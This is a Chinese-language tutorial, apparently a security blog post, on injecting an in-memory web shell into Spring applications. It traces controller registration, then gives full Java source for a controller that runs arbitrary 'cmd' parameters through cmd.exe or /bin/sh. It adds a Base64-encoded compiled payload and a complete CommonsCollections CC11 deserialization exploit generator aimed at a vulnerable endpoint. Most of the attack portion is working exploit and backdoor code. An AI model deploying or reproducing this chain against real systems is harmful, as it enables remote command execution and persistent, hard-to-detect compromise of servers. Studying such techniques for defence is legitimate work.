前置知识
在切入正题前,首先需要了解下 Spring 框架中的几个必要的名词术语。
Bean
bean 是 Spring 框架的一个核心概念,它是构成应用程序的主干,并且是由 Spring IoC 容器负责实例化、配置、组装和管理的对象。
通俗来讲:
- bean 是对象
- bean 被 IoC 容器管理
- Spring 应用主要是由一个个的 bean 构成的
注册类时简单分析
在org.springframework.web.servlet.handler.AbstractHandlerMethodMapping的initHandlerMethods方法下断点

这里有一个this.getCandidateBeanNames()它的作用是得到所有的JavaBean。然后会对这个数组进行遍历,用isHandler寻找Controller类然后保存到beanType。

这里已经找到了我们项目里的Controller类,所以进入了if判断内的语句,调用detectHandlerMethods

我们看看isHandler干了啥,判断是否有注解RequestMapping或者Controller,来达到一个判断的效果。

继续跟进getMappingForMethod

在getMappingForMethod()方法中,会解析Controller类的方法中的注解,从而生成一个与之对应的RequestMappingInfo对象,里面保存了访问Method的url条件
之后将bean,Method,RequestMappingInfo注册进MappingRegistry
最后的registerHandlerMethod()方法就是执行mappingRegistry.register()方法,到这里,url与处理的类之间的映射关系被保存,当我们访问url时,springboot便知道由哪个类中的那个方法处理,如果我们能创建一个RequestMappingInfo,一个处理的类,将他们的映射关系保存进mappingRegistry,内存shell就能建立

在AbstractHandlerMethodMapping类中还有一个方法也会进入mappingRegistry.register(),就是registerMapping方法,这个方法就是动态添加Controller的接口,在程序过程中,只要调用这个接口,就能注册一个Controller类,从上面的分析过程可以知道,这个接口的使用条件是1,bean实例,2,处理请求的method,3、对应的RequestMappinginfo对象

写内存马
像上面说的创建一个RequestMappingInfo,一个处理的类,将他们的映射关系保存进mappingRegistry,内存shell就能建立
上面的AbstractHandlerMethodMapping是个抽象类不能直接调用,而RequestMappingHandlerMapping继承了它,因此我们选这个,而它又是一个JavaBean对象
恶意class加载进JVM
BufferedReader r = new BufferedReader(new FileReader("shell.txt"));String code = r.readLine();byte[] d = new sun.misc.BASE64Decoder().decodeBuffer(code);java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class, byte[].class, int.class, int.class});m.setAccessible(true);m.invoke(Thread.currentThread().getContextClassLoader(), new Object[]{"org.inlighting.util.shell",d, 0, d.length});
这里用了Thread.currentThread().getContextClassLoader()的defineClass方法。
看下是什么类
获取上下文环境
这里有好几种方法,这里随便用一种
ServletContext sss = ((ServletRequestAttributes)RequestContextHolder.getRequestAttributes()).getRequest().getSession().getServletContext();WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(sss);
创建RequestMappingInfo对象
定义controller的url和访问方法,生成RequestMappingInfo对象
PatternsRequestCondition url = new PatternsRequestCondition("/yyds");RequestMappingInfo info = new RequestMappingInfo(url, null, null, null, null, null, null);
RequestMappingHandlerMapping注册controller
使用registerMapping()方法注册
RequestMappingHandlerMapping rs = context.getBean(RequestMappingHandlerMapping.class);Method mm = (Class.forName("abc").getDeclaredMethods())[0];rs.registerMapping(info, Class.forName("abc").newInstance(), mm);
以上来自于https://my.oschina.net/u/4587690/blog/4649301的分析。
我们来看一个内存马实例
import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;public class InjectToController {// 第一个构造函数public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 beanRequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);// 2. 通过反射获得自定义 controller 中test的 Method 对象Method method2 = InjectToController.class.getMethod("test");// 3. 定义访问 controller 的 URL 地址PatternsRequestCondition url = new PatternsRequestCondition("/malicious");// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();// 5. 在内存中动态注册 controllerRequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);// 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环InjectToController injectToController = new InjectToController("aaa");mappingHandlerMapping.registerMapping(info, injectToController, method2);}// 第二个构造函数public InjectToController(String aaa) {}// controller指定的处理方法public void test() throws IOException{// 获取request和response对象HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();//exectry {String arg0 = request.getParameter("cmd");PrintWriter writer = response.getWriter();if (arg0 != null) {String o = "";java.lang.ProcessBuilder p;if(System.getProperty("os.name").toLowerCase().contains("win")){p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});}else{p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});}java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");o = c.hasNext() ? c.next(): o;c.close();writer.write(o);writer.flush();writer.close();}else{//当请求没有携带指定的参数(code)时,返回 404 错误response.sendError(404);}}catch (Exception e){}}}
注释也写的挺明白了。
攻击
首先环境就是一个普通的commons-collections3.1环境,有一个反序列化点。
环境代码
package com.example.demo.controller;import com.example.demo.MyObjectInputStream;import org.springframework.stereotype.Controller;import org.springframework.ui.Model;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import tools.Tools;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.ByteArrayInputStream;import java.io.InputStream;import java.io.ObjectInputStream;@Controllerpublic class CommonsCollectionsVuln {@ResponseBody@RequestMapping("/cc11")public String cc11Vuln(HttpServletRequest request, HttpServletResponse response) throws Exception {String data = request.getParameter("data");byte[] b = Tools.base64Decode(data);InputStream inputStream = new ByteArrayInputStream(b);ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);objectInputStream.readObject();return "Hello,World";}@ResponseBody@RequestMapping("/demo")public String demo(HttpServletRequest request, HttpServletResponse response) throws Exception{return "This is OK Demo!";}}
我们把上面写的内存马编译成class文件,再进行base64编码。
我们选用cc11因为这条链可以加载字节码完成攻击,因此就能完整的加载上面的那个内存马恶意类。
字节码
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;public class InjectToController extends AbstractTranslet {// 第一个构造函数public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 beanRequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);// 2. 通过反射获得自定义 controller 中test的 Method 对象Method method2 = InjectToController.class.getMethod("test");// 3. 定义访问 controller 的 URL 地址PatternsRequestCondition url = new PatternsRequestCondition("/malicious");// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();// 5. 在内存中动态注册 controllerRequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);// 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环InjectToController injectToController = new InjectToController("aaa");mappingHandlerMapping.registerMapping(info, injectToController, method2);}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}// 第二个构造函数public InjectToController(String aaa) {}// controller指定的处理方法public void test() throws IOException{// 获取request和response对象HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();//exectry {String arg0 = request.getParameter("cmd");PrintWriter writer = response.getWriter();if (arg0 != null) {String o = "";java.lang.ProcessBuilder p;if(System.getProperty("os.name").toLowerCase().contains("win")){p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});}else{p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});}java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");o = c.hasNext() ? c.next(): o;c.close();writer.write(o);writer.flush();writer.close();}else{//当请求没有携带指定的参数(code)时,返回 404 错误response.sendError(404);}}catch (Exception e){}}}
注意这个类一定要是AbstractTranslet的子类,否则会报错退出,不会进入newInstance
把这个类的字节码base64之后输入到下面。
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;import java.util.HashSet;@SuppressWarnings("all")public class CC11 {public static void main(String[] args) throws Exception {// 利用javasist动态创建恶意字节码byte[] classBytes = Base64.getDecoder().decode("yv66vgAAADQA7woAOAB+CgB/AIAIAIELAIIAgwcAhAcAhQsABQCGBwCHCABlBwCICgAKAIkHAIoHAIsIAIwKAAwAjQcAjgcAjwoAEACQBwCRCgATAJIIAGEKAAgAkwoABgCUBwCVCgAYAJYKABgAlwgAZAsAmACZCwCaAJsIAJwIAJ0KAJ4AnwoADQCgCAChCgANAKIHAKMIAKQIAKUKACQAjQgApggApwcAqAoAJACpCgCqAKsKACoArAgArQoAKgCuCgAqAK8KACoAsAoAKgCxCgCyALMKALIAtAoAsgCxCwCaALUHALYHALcBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAFExJbmplY3RUb0NvbnRyb2xsZXI7AQAHY29udGV4dAEAN0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L1dlYkFwcGxpY2F0aW9uQ29udGV4dDsBABVtYXBwaW5nSGFuZGxlck1hcHBpbmcBAFRMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL2Fubm90YXRpb24vUmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZzsBAAdtZXRob2QyAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAN1cmwBAEhMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbjsBAAJtcwEATkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdE1ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uOwEABGluZm8BAD9Mb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBABJpbmplY3RUb0NvbnRyb2xsZXIBAApFeGNlcHRpb25zBwC4BwC5BwC6BwC7BwC8AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAvQEAEE1ldGhvZFBhcmFtZXRlcnMBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAA2FhYQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABEV4ZWMBAANjbWQBAAR0ZXN0AQABcAEAGkxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7AQABbwEAAWMBABNMamF2YS91dGlsL1NjYW5uZXI7AQAEYXJnMAEABndyaXRlcgEAFUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAA1TdGFja01hcFRhYmxlBwCHBwC+BwC/BwCLBwDABwCjBwCoBwC2BwDBAQAKU291cmNlRmlsZQEAF0luamVjdFRvQ29udHJvbGxlci5qYXZhDAA5ADoHAMIMAMMAxAEAOW9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLnNlcnZsZXQuRGlzcGF0Y2hlclNlcnZsZXQuQ09OVEVYVAcAxQwAxgDHAQA1b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQBAFJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nDADIAMkBABJJbmplY3RUb0NvbnRyb2xsZXIBAA9qYXZhL2xhbmcvQ2xhc3MMAMoAywEARm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9QYXR0ZXJuc1JlcXVlc3RDb25kaXRpb24BABBqYXZhL2xhbmcvU3RyaW5nAQAKL21hbGljaW91cwwAOQDMAQBMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1JlcXVlc3RNZXRob2RzUmVxdWVzdENvbmRpdGlvbgEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWV0aG9kDAA5AM0BAD1vcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvDAA5AM4MADkAYAwAzwDQAQBAb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1NlcnZsZXRSZXF1ZXN0QXR0cmlidXRlcwwA0QDSDADTANQHAL4MANUA1gcAvwwA1wDYAQAAAQAHb3MubmFtZQcA2QwA2gDWDADbANwBAAN3aW4MAN0A3gEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAB2NtZC5leGUBAAIvYwEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyDADfAOAHAOEMAOIA4wwAOQDkAQACXEEMAOUA5gwA5wDoDADpANwMAOoAOgcAwAwA6wBgDADsADoMAO0A7gEAE2phdmEvbGFuZy9FeGNlcHRpb24BAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24BACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24BAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24BACtqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQATamF2YS9pby9QcmludFdyaXRlcgEAE2phdmEvaW8vSU9FeGNlcHRpb24BADxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdENvbnRleHRIb2xkZXIBABhjdXJyZW50UmVxdWVzdEF0dHJpYnV0ZXMBAD0oKUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXM7AQA5b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzAQAMZ2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0kpTGphdmEvbGFuZy9PYmplY3Q7AQAHZ2V0QmVhbgEAJShMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL09iamVjdDsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEAOyhbTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWV0aG9kOylWAQH2KExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdE1ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGFyYW1zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL0hlYWRlcnNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vQ29uc3VtZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUHJvZHVjZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdENvbmRpdGlvbjspVgEAD3JlZ2lzdGVyTWFwcGluZwEAbihMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbztMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOylWAQAKZ2V0UmVxdWVzdAEAKSgpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACooKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQALdG9Mb3dl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");// 写入.class 文件// 将我的恶意类转成字节码,并且反射设置 bytecodesbyte[][] targetByteCodes = new byte[][]{classBytes};TemplatesImpl templates = TemplatesImpl.class.newInstance();Field f0 = templates.getClass().getDeclaredField("_bytecodes");f0.setAccessible(true);f0.set(templates,targetByteCodes);f0 = templates.getClass().getDeclaredField("_name");f0.setAccessible(true);f0.set(templates,"name");f0 = templates.getClass().getDeclaredField("_class");f0.setAccessible(true);f0.set(templates,null);InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);HashMap innermap = new HashMap();LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);TiedMapEntry tiedmap = new TiedMapEntry(map,templates);HashSet hashset = new HashSet(1);hashset.add("foo");Field f = null;try {f = HashSet.class.getDeclaredField("map");} catch (NoSuchFieldException e) {f = HashSet.class.getDeclaredField("backingMap");}f.setAccessible(true);HashMap hashset_map = (HashMap) f.get(hashset);Field f2 = null;try {f2 = HashMap.class.getDeclaredField("table");} catch (NoSuchFieldException e) {f2 = HashMap.class.getDeclaredField("elementData");}f2.setAccessible(true);Object[] array = (Object[])f2.get(hashset_map);Object node = array[0];if(node == null){node = array[1];}Field keyField = null;try{keyField = node.getClass().getDeclaredField("key");}catch(Exception e){keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");}keyField.setAccessible(true);keyField.set(node,tiedmap);Field f3 = transformer.getClass().getDeclaredField("iMethodName");f3.setAccessible(true);f3.set(transformer,"newTransformer");try{ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(hashset);oos.close();// System.out.println(barr);System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc11"));inputStream.readObject();}catch(Exception e){e.printStackTrace();}}}
运行这个而得到序列化字符串。打到题目环境里。

注入内存马成功

参考
https://www.anquanke.com/post/id/198886#h3-2
https://my.oschina.net/u/4587690/blog/4649301
http://wjlshare.com/archives/1541
http://wjlshare.com/archives/1536
